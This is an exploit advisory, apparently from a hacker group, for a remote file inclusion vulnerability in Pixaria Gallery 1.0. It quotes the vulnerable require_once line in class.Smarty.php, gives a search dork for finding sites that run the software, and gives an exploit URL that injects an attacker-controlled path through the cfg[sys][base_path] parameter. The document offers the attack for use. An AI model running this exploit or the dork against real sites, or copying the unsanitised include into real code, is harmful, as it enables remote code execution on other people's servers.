Pixaria Gallery 1.0 (class.Smarty.php) Remote File Include Vulnerability

------------------------------------------------------------------------
-----------------
# scripts       : Pixaria Gallery 1.0
# Discovered By : irvian
# scripts site  : http://pixaria.com/
# Thanks To     : #hitamputih #nyubicrew #patihack
# special To    : nyubi,ibnusina,arioo,jipank,kacung,trangkil,cah_gemblunkz
# dork          : powered by Pixaria? Gallery
		  inurl:index.gallery.php?gid=
------------------------------------------------------------------------
------------------
bug found:

/resources/includes/class.Smarty.php

// Load the main Smarty class
require_once ($cfg['sys']['base_path'] . "resources/smarty/libs/Smarty.class.php");

Exploit: http://www.target.com/resources/includes/class.Smarty.php?cfg[sys][base_
path]=[evilcode]